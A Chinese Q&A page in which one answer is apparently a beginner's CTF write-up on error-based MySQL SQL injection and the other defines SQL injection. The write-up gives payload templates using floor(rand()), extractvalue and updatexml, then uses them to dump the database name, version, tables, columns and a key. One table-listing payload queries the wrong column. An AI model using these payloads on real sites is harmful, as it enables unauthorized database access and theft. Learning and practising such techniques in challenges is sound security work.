发布网友 发布时间:2022-04-07 21:31
共2个回答
懂视网 时间:2022-04-08 01:53
这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了:P
公式:username=admin‘ and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and ‘1‘ = ‘1
第二种: XPATH爆信息
这里主要用到的是ExtractValue()和UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后
查看sql手册
语法:EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 作用:从目标XML中返回包含所查询值的字符串 语法:UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用 公式1:username=admin‘ and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and ‘1‘=‘1 公式2:username=admin‘ and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and ‘1‘=‘1 第三种: 重复列爆信息(对于这种方法,我在本地数据库上有试验成功,但是对于下面那道并没有什么作用,就不仔细说明了) 带上代码: payload id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c) 0x02 应用 上面说了那么多,让我们来应用一下吧,基于这道题目 首先我们来爆出他的数据库名 结果:r0866cplushua username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select database()))x from information_schema.tables group by x )a) and ‘1‘ = ‘1 然后爆他的数据库版本 结果:5.1.61-Alibaba-rds-201404-log username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select version()))x from information_schema.tables group by x )a) and ‘1‘ = ‘1 接着爆他的表名 结果:log motto user 这里需要一条一条爆 username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.tables where table_schema = ‘r0866cplushua‘ limit 0,1))x from information_schema.tables group by x )a) and ‘1‘ = ‘1 然后再爆他的列名 结果:id username motto(这里我一开始试的是user表但是数据并没有我们想要的,所以换了motto,也需要一条一条的爆) username=admin‘ and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.columns where table_name=‘motto‘ and table_schema = ‘r0866cplushua‘ limit 0,1))x from information_schema.tables group by x )a) and ‘1‘ = ‘1 最后就是爆数据了 结果:key#notfound!# (这里我使用了XPATH爆数据,因为不知道什么原因用第一种方法暴不出来) username=admin%27%20and%20(extractvalue(1,%20concat(0x7e,(SELECT%20concat(username,0x3a,motto)%20FROM%20motto%20limit%203,1))))%20and%20%271%27=%271 到了这里这道题目就算是做出来了。由于撸主刚刚学起上面如果有什么错误,请路过的大牛指正谢谢,同时也希望大牛们可以分享一些其他的注错方法。基于错误回显的sql注入整理
标签:
热心网友 时间:2022-04-07 23:01
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.